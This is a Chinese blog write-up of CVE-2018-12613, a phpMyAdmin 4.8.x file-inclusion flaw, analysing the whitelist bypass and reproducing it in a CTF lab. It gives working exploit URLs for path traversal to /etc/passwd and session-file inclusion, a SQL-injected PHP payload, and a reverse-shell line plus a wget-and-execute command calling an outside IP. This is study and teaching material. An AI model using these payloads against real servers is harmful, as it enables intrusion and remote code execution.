phpMyAdmin后台文件包含CVE-2018-12613

phpMyAdmin后台文件包含

漏洞分析

CVE-2018-12613

该漏洞影响phpMyAdmin 4.8.0-4.8.1版本,环境为BUUCTF

漏洞点在index.php 54-63行,include $_REQUEST['target'];,其中target参数可控,可能存在文件包含漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$target_blacklist = array (
'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

这里有5个条件,满足之后就会包含我们穿过来的文件。前4个条件都比较好理解非空、必须为字符串、不能是index开头,不能是黑名单中的文件名(import.php、export.php),最后一个是Core类中的checkPageValidity方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
libraries/classes/Core.php
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
); //按?分割字符串,取前半部分
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
); //按?分割字符串,取前半部分
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

前面是一些简单的判断,然后文件名必须在白名单里。接下来按问号分割字符串,目的是适应target=view.php?id=1这种情况,分割后$_page仍然是view.php。

漏洞就出现在下面urldecode这里,如果提交db_sql.php%253f/../../../../test.txt,其中db_sql.php是白名单中的文件名,%253f?的双重urlencode,php会自动进行一次urldecode,第一次分割的时候浏览器会进行一次urldecode,为db_sql.php%3f/../../../../test.txt

第二次分割php会再一次进行urldecode,此时变为db_sql.php?/../../../../test.txt,使得代码返回true,导致了漏洞的产生

漏洞复现

普通包含

访问:index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd触发文件包含漏洞
1595669784768

session日志文件包含

再kali里通过searchsploit搜索phpmyadmin 4.8.1可得到该漏洞的利用方式
1595669962937

首先执行select '<?php phpinfo();exit;?>'

1595670039850

再包含session文件即可

1
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_fdcead68b27b922b4dcaf483f74126c3

该环境的session日志文件位置为/tmp目录下,所以访问即可成功包含

1
index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_fdcead68b27b922b4dcaf483f74126c3

1595670165510

反弹shell

首先再自己的服务器上创建一个.sh文件供靶机下载,内容为

1
bash -i >& /dev/tcp/116.62.104.172/7777 0>&1

之后执行SQL语句

1
select '<?php system("wget 116.62.104.172:88/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'

1595670854022

之后包含session文件,服务器监听7777端口即可,但是该环境不能访问外网,所以未成功

在之前的靶机Presidential-01中已经成功复现

文章作者:CyzCc
最后更新:2020年12月12日 12:12:33
原始链接:https://cyzcc.vip/2020/08/13/CVE-2018-12613/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------